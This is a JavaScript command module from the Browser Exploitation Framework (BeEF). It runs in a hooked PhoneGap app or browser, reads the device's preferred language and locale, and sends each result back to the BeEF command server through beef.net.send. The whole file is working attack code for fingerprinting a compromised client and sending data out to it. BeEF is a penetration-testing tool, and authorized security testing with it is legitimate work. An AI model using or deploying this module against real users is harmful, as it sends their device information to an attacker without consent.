Files
beef/modules/phonegap/phonegap_globalization_status/command.js
2013-05-03 13:34:09 -07:00

34 lines
1009 B
JavaScript

//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_globalization_status
//
beef.execute(function() {
var result = '';
navigator.globalization.getPreferredLanguage(
function (language) {
result = 'language: ' + language.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'language: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
navigator.globalization.getLocaleName(
function (locale) {
result = 'locale: ' + locale.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'locale: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
});